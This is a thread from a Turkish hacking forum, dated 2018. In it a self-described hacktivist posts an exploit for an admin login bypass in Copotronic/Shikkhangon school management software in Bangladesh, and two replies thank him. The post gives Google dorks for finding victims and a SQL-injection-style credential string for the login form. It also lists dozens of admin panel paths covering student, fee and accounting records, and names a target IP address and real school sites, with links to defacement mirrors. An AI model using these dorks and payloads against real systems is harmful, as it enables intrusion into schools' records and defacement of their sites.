Konuyu Oyla:
  • Toplam: 1 Oy - Ortalama: 5
  • 1
  • 2
  • 3
  • 4
  • 5
   
Konu: Software Developed By Copotronic Exploit
KingSkrupellos
*
avatar
Hacktivist
Durum: Çevrimdışı
Seviye Puanı: 55
Yaşam Puanı: 1,369 / 1,369
Deneyim: 78 / 100
Rep Sayısı: 2740
Mesaj Sayısı: 6282
Üyelik Tarihi: 21.08.2013
     
Yorum: #1
Software Developed By Copotronic Exploit
06.07.2018 03:18
################################################################################​#################

# Exploit Title : Software Developed By Copotronic Shikkhangon Iqbal Hossain Rimon Admin Login Bypass Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
# Date : 06/07/2018
# Vendor Homepages : copotronic.com ~ shikkhangon.com
# Tested On : Windows
# Category : WebApps
# Exploit Risk : Medium
# CWE : CWE-592 [ Authentication Bypass Issues ]

################################################################################​#################

# Another Exploit Title : Software IT Development By Copotronic InfoSystems Limited
Shikkhangon CiMS Web Design Md. Iqbal Hossain Rimon Admin Login Bypass Vulnerability

# Description of the Software : Design & Develop By Copotyronic InfoSystem Ltd

Copotronic InfoSystems Ltd. is a Private-Govt. joint venture software company. With a mission to build digital Bangladesh People’s
Republic of Bangladesh has taken initiative to promote in IT companies to enable extensive automation services and supports to
Govt. organizations of Bangladesh to be Digital.COPOTRONIC is a dynamic organization engaged in promoting
software products, services,consultancy, Training using latest technologies to wide spectrum of corporations for over one decade.
The quality & technology of the products reflect COPOTRONIC’s ability to produce & deliver world-class software solutions

################################################################################​#################

# Google Dorks :

intext:''Copyright © 2018 Shikkhangon.com. All Right Reserved.''

intext:''© Copotronic InfoSystems Limited. All Right Reserved.''

inurl:''/about_college/'' site:edu.bd Copotronic

# Admin Control Panel Path =>

/admin
/login

# Exploit :

Username : '=''or'

Password : '=''or'

# Useable Administration Control Panel URL Links =>

/web/principal_message
/web/notice
/web/notice_list
/web/form_add
/web/form_list
/web/information_list
/web/slide
/web/about
/web/picture_gallery
/web/catagory_list
/admin/teacher_registration
/admin/teacher_list
/academic/class_teacher_assign
/admin/teacher_salary_structure
/admin/staff_registration
/admin/staff_list
/admin/student_registration
/admin/student_list
/admin/class_wise_student_list
/admin/section_wise_student_list
/admin/student_subject_assign
/admin/student_subject_view
/fees/fees_cat
/fees/class_wise_fees_management
/fees/student_fees_generate
/web/slide#
/academic/set_ca_marks
/academic/create_tabulation_sheet
/academic/marit_list
/academic/marit_list_class
/academic/mark_sheet
/academic/transcript
/academic/tabulation_sheet
/academic/tabulation_sheet_subject_wise
/academic/result_view
/accounts/master_head_create
/accounts/master_head_list
/accounts/sub1_head_create
/accounts/sub1_head_list
/accounts/sub2_head_create
/accounts/sub2_head_list
/accounts/sub3_head_create
/accounts/sub3_head_list
/accounts/navigation_head_view
/accounts/debit_voucher_entry
/accounts/debit_voucher_list
/accounts/credit_voucher_entry
/accounts/credit_voucher_list
/web/book_category_list
/web/book_list
/admin/student_sms_notice
/admin/attendance
/academic/show_class_routine
/academic/show_exam_routine
/admin/institute_information
/admin/class_list
/web/class_assign
/academic/set_class_timing
/academic/class_routine
/admin/section_list
/admin/section_assign
/admin/session_list
/admin/shift_list
/admin/subject_list
/admin/subject_assign
/academic/gpa_system
/academic/mark_distribution_system
/academic/term_subject_list
/academic/subject_wise_total_marks_list
/academic/set_exam_time
/academic/set_admit_card_initial
/academic/term_list
/admin/chartof_accounts
/admin/weekly_holiday
/admin/shift_assign

Uploaded Image Path from Admin Panel => /template/upload/principal_image/1_principal_image[RANDOMNUMBER].png .jpg .jpeg .gif

################################################################################​#################

# Example Sites and Target Vulnerable IP Address 144.217.239.135 =>

gachuaadarshahs.edu.bd/login => [ Proof of Concept for the Vulnerability ] => zone-h.org/mirror/id/31443090 ~ archive.is/xfYrE

dbmrhs.edu.bd/login => [ Proof of Concept for the Vulnerability ] => archive.is/JhaLN

Vendor Homepage Admin Panel Path => copotronic.com/ims/shikkhangon/shikkhangon_admin/

################################################################################​#################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

################################################################################​#################
(Bu konu en son: 06.07.2018 Tarihinde, Saat: 21:09 düzenlenmiştir. Düzenleyen: H4CK4L.)

We don't care what people think about us, we are proud of us, we not gonna change for anyone. I do not have own no website. No Contact. # KingSkrupellos # Cyberizm Digital Security Technological Turkish Moslem Army.



Alinti
Meczup
*
avatar
Albay
Durum: Çevrimdışı
Seviye Puanı: 26
Yaşam Puanı: 629 / 629
Deneyim: 16 / 100
Rep Sayısı: 82
Mesaj Sayısı: 852
Üyelik Tarihi: 18.12.2017
      
Yorum: #2
Cvp: Software Developed By
06.07.2018 21:03
Teşekkürler, Emeğine Sağlık Smile
Alinti
#H4CK4L
*
avatar
#R00T
Durum: Çevrimdışı
Seviye Puanı: 42
Yaşam Puanı: 1,049 / 1,049
Deneyim: 97 / 100
Rep Sayısı: 1029
Mesaj Sayısı: 2992
Üyelik Tarihi: 04.05.2013
      
Yorum: #3
RE: Software Developed By Copotronic Exploit
06.07.2018 21:09
Teşekkürler, Emeğine Sağlık Smile

Çocukken her akşam yatmadan önce Tanrı'ya bana bir bisiklet vermesi için dua ederdim. Bir gün Tanrı'nın çalışma tarzının bu olmadığını anladım. Ertesi gün gittim kendime yeni bir bisiklet çaldım ve her akşam yatmadan önce Tanrı'ya günahlarımı affetmesi için dua ettim.
Alinti



1 Ziyaretçi